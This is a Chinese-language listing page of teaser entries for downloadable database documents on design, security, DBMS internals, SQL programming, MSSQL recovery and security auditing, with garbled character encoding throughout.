    <b class='flag-5'>數(shù)據(jù)庫</b>學習入門資料<b class='flag-5'>之</b>如何進行<b class='flag-5'>數(shù)據(jù)庫</b>設計

    什么是數(shù)據(jù)庫安全數(shù)據(jù)庫安全性的詳細資料總結(jié)

    本文檔的主要內(nèi)容詳細介紹的是什么是數(shù)據(jù)庫安全數(shù)據(jù)庫安全性的詳細資料總結(jié)主要內(nèi)容包括了:1.數(shù)據(jù)庫安全
    發(fā)表于 10-30 16:11 ?6次下載
    什么是<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>安全</b>性<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>安全</b>性的詳細資料總結(jié)

    數(shù)據(jù)庫系統(tǒng)概論數(shù)據(jù)庫管理系統(tǒng)詳細資料概述

    本文檔的主要內(nèi)容詳細介紹的是數(shù)據(jù)庫系統(tǒng)概論數(shù)據(jù)庫管理系統(tǒng)詳細資料概述主要內(nèi)容包括了:1、DBMS的基本功能2、 DBMS的進程結(jié)構(gòu)和多線索機制3、DBMS系統(tǒng)結(jié)構(gòu)4、語言處理5、數(shù)據(jù)
    發(fā)表于 11-15 15:12 ?0次下載
    <b class='flag-5'>數(shù)據(jù)庫</b>系統(tǒng)概論<b class='flag-5'>之</b><b class='flag-5'>數(shù)據(jù)庫</b>管理系統(tǒng)詳細資料概述

    數(shù)據(jù)庫系統(tǒng)概論如何進行數(shù)據(jù)庫編程的資料概述

    本文檔的主要內(nèi)容詳細介紹的是數(shù)據(jù)庫系統(tǒng)概論如何進行數(shù)據(jù)庫編程的資料概述主要內(nèi)容包括了:1、嵌入式SQL 2、存儲過程3、ODBC編程
    發(fā)表于 11-15 15:12 ?13次下載
    <b class='flag-5'>數(shù)據(jù)庫</b>系統(tǒng)概論<b class='flag-5'>之</b>如何進行<b class='flag-5'>數(shù)據(jù)庫</b>編程的資料概述

    關(guān)于數(shù)據(jù)庫安全技術(shù)的概述

    數(shù)據(jù)庫安全,是指以保護數(shù)據(jù)庫系統(tǒng)、數(shù)據(jù)庫服務器和數(shù)據(jù)庫中的數(shù)據(jù)、應用、存儲,以及相關(guān)網(wǎng)絡連接為目
    發(fā)表于 06-24 17:23 ?1952次閱讀

    MSSQL數(shù)據(jù)庫服務器的命令查看存儲過程詳細資料說明

    本文檔的主要內(nèi)容詳細介紹的是MSSQL數(shù)據(jù)庫服務器的命令查看存儲過程詳細資料說明。
    發(fā)表于 11-01 17:29 ?10次下載

    上位機開發(fā)——數(shù)據(jù)庫系列問題

    前言 前面已經(jīng)給大家總結(jié)了一些關(guān)于數(shù)據(jù)庫的問題,基本上大家遇到的數(shù)據(jù)庫問題,都能從下面的文章中找到答案,希望大家可以收藏一下,遇到問題,可以一一對照去查找原因。 數(shù)據(jù)庫系列特定實例錯
    發(fā)表于 05-10 10:34 ?0次下載
    上位機開發(fā)——<b class='flag-5'>數(shù)據(jù)庫</b>系列問題

    數(shù)據(jù)庫和普通數(shù)據(jù)庫區(qū)別?|PetaExpress云端數(shù)據(jù)庫

    和持久性有四個特點。 云數(shù)據(jù)庫和普通數(shù)據(jù)庫相比都具備哪些優(yōu)勢? 1)安全穩(wěn)定 云端數(shù)據(jù)庫服務,能夠幫助用戶將危險的操作收縮起來,避免數(shù)據(jù)庫
    的頭像 發(fā)表于 08-01 17:13 ?1391次閱讀

    數(shù)據(jù)庫數(shù)據(jù)恢復—MSSQL Server報錯“附加數(shù)據(jù)庫錯誤823”的數(shù)據(jù)恢復案例

    MSSQL Server數(shù)據(jù)庫比較常見的報錯是“附加數(shù)據(jù)庫錯誤823”。如果數(shù)據(jù)庫有備份,只需要還原備份即可;如果無備份或者備份不可用,則需要使用專業(yè)的
    的頭像 發(fā)表于 11-10 16:20 ?1265次閱讀
    <b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>數(shù)據(jù)</b>恢復—<b class='flag-5'>MSSQL</b> Server報錯“附加<b class='flag-5'>數(shù)據(jù)庫</b>錯誤823”的<b class='flag-5'>數(shù)據(jù)</b>恢復案例

    數(shù)據(jù)庫安全審計系統(tǒng):筑牢數(shù)據(jù)安全防線 提高數(shù)據(jù)資產(chǎn)安全

    隨著萬物互聯(lián)的技術(shù)演進,以及數(shù)字化轉(zhuǎn)型的快速發(fā)展,數(shù)據(jù)庫成為最具有戰(zhàn)略性的數(shù)字資產(chǎn)載體,保障數(shù)據(jù)庫安全也就保障了存儲其中的數(shù)據(jù)安全
    的頭像 發(fā)表于 07-17 13:38 ?1933次閱讀